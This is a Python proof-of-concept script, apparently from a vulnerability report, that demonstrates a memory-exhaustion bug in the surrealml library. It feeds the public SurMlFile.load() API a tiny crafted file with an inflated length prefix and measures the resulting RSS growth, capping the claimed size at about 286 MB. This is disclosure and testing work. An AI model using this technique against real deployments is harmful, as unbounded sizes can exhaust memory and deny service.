test_allocation.py

#!/usr/bin/env python3
"""Primary PoC for: missing bounds check in SurMlFile::from_file() (Rust,
surrealml-core) allows an attacker-controlled 4-byte length prefix to drive
an uncontrolled memory allocation, reachable via the official, documented
Python API `SurMlFile.load()`.

This script:
  1. Generates a tiny (8-byte) malicious .surml file claiming a large header.
  2. Loads it via the public API: SurMlFile.load(path=..., engine=...).
  3. Measures RSS before/after to show the allocation actually happens.
  4. Confirms the process survives (this is a resource-consumption issue,
     not a crash, at the moderate scale tested here).

Only a moderate, safe claimed length is used (default ~286 MB). This script
deliberately does NOT attempt allocation sizes large enough to risk an
actual out-of-memory condition or process abort on the host running it.

Requirements:
    pip install surrealml psutil

Usage:
    python test_allocation.py
"""
import gc
import os

import psutil

from generate_poc import build as build_poc, DEFAULT_CLAIMED_LEN

POC_PATH = "surml_bomb.surml"


def main() -> None:
    proc = psutil.Process()

    build_poc(POC_PATH, DEFAULT_CLAIMED_LEN)
    file_size = os.path.getsize(POC_PATH)

    gc.collect()
    r0 = proc.memory_info().rss
    print(f"RSS before: {r0 / 1024 / 1024:.1f} MB")

    from surrealml import SurMlFile
    from surrealml.engine import Engine

    try:
        m = SurMlFile.load(path=POC_PATH, engine=Engine.ONNX)
        print("Loaded without error (unexpected):", m)
    except Exception as e:
        print(f"Python exception (process survived): {type(e).__name__} - {e}")

    r1 = proc.memory_info().rss
    delta_mb = (r1 - r0) / 1024 / 1024
    print(f"RSS after:  {r1 / 1024 / 1024:.1f} MB  (delta {delta_mb:.1f} MB)")
    print()
    print(f"Summary: an {file_size}-byte file caused approximately "
          f"{delta_mb:.0f} MB of additional RSS before failing.")

    os.remove(POC_PATH)


if __name__ == "__main__":
    main()